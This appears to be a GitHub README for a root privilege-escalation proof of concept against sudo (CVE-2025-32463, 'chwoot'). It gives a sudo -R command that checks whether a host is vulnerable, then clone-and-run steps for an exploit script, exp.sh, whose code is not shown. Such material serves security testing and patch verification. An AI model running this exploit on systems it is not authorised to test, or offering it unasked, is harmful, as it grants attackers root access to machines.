
用于CVE-2025-32463 sudo_chwoot的权限提升POC,适配了有gcc编译环境和无gcc编译环境的两种情况,下载运行即可一把梭哈
Declaration: This script is only for security testing and should not be used for illegal purposes.
Compared to other POCs available on the Internet, this script takes into account that some hosts may not have gcc installed and lack a compilation environment. Therefore, this script is compatible with two scenarios:
To verify if the vulnerability exists:
sudo -R woot woot
If the vulnerability exists, the result will be:
sudo: woot: No such file or directory
If the vulnerability does not exist, the result will be:
sudo: you are not permitted to use the -R option with woot
If the vulnerability exists, use the POC to escalate privileges:
git clone https://github.com/Yuy0ung/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot
chmod +x ./exp.sh
./exp.sh

The content of the files is as follows: